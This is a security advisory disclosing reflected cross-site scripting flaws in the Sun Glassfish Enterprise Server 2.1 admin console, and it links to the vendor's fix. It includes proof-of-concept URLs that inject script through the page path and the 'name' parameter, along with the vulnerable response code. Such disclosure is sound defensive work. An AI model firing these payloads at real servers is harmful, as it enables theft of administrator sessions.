Sun Glassfish Enterprise Server 2.1 XSS

`Digital Security Research Group [DSecRG] Advisory #DSECRG-09-034  
  
Original advisory: http://dsecrg.com/pages/vul/show.php?id=134  
  
Application: Sun Glassfish Enterprise Server  
Versions Affected: 2.1  
Vendor URL: https://glassfish.dev.java.net/  
Bug: Multiple Linked XSS vulnerabilities  
Exploits: YES  
Reported: 19.03.2009  
Vendor response: 20.03.2009  
Solution: YES   
Date of Public Advisory: 05.05.2009  
Author: Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)  
  
  
  
Description  
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Glassfish Enterprise Server Admin Console has multiple linked XSS vulnerabilities.  
  
  
  
Details  
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Using this vulnerability attacker can steal admin's cookie and then   
authentificate as administrator or perform certain administrative   
actions.  
  
1. Multiple Linked XSS vulnerabilities.  
  
Many pages have typical XSS vulnerability.  
  
Attacker can inject XSS in URL string.  
  
Example:  
  
http://[server]/applications/applications.jsf?');};alert("DSecRG_XSS");</script><!--  
http://[server]/configuration/configuration.jsf?');};alert("DSecRG_XSS");</script><!--  
http://[server]/customMBeans/customMBeans.jsf?');};alert("DSecRG_XSS");</script><!--  
http://[server]/resourceNode/resources.jsf?');};alert("DSecRG_XSS");</script><!--  
http://[server]/sysnet/registration.jsf?');};alert("DSecRG_XSS");</script><!--  
http://[server]/webService/webServicesGeneral.jsf?');};alert("DSecRG_XSS");</script><!--  
  
Response HTML Code:  
-------------------  
#################################################  
  
...  
<script type="text/javascript">  
var myonload = new Object();  
myonload.oldonload = window.onload;  
myonload.newonload = function() {  
if ('/applications/applications.jsf?');};alert("DSecRG_XSS");</script><!--' != '') {  
...  
  
#################################################  
  
  
2. Multiple Linked XSS vulnerabilities in GET parameter "name".  
  
Many pages have typical XSS vulnerability in GET parameter "name".  
  
Attacker can inject XSS in URL string.  
  
Example:  
  
http://[server]/configuration/auditModuleEdit.jsf?name=<IMG SRC=javascript:alert('DSecRG_XSS')>  
http://[server]/configuration/httpListenerEdit.jsf?name=<IMG SRC=javascript:alert('DSecRG_XSS')>&configName=server-config  
http://[server]/resourceNode/jdbcResourceEdit.jsf?name=<IMG SRC=javascript:alert('DSecRG_XSS')>  
  
  
  
Solution  
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This security vulnerabilities fixed in CVS.  
  
The following links to the commit email messages for all the changes to fix these issues:  
  
https://glassfish.dev.java.net/servlets/ReadMsg?list=cvs&msgNo=29669  
https://glassfish.dev.java.net/servlets/ReadMsg?list=cvs&msgNo=29668  
https://glassfish.dev.java.net/servlets/ReadMsg?list=cvs&msgNo=29675  
  
  
  
Credits  
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http://www.nabble.com/Re:--DSECRG--Sun-Glassfish-Multiple-Security-Vulnerabilities-p23002524.html  
  
  
  
About  
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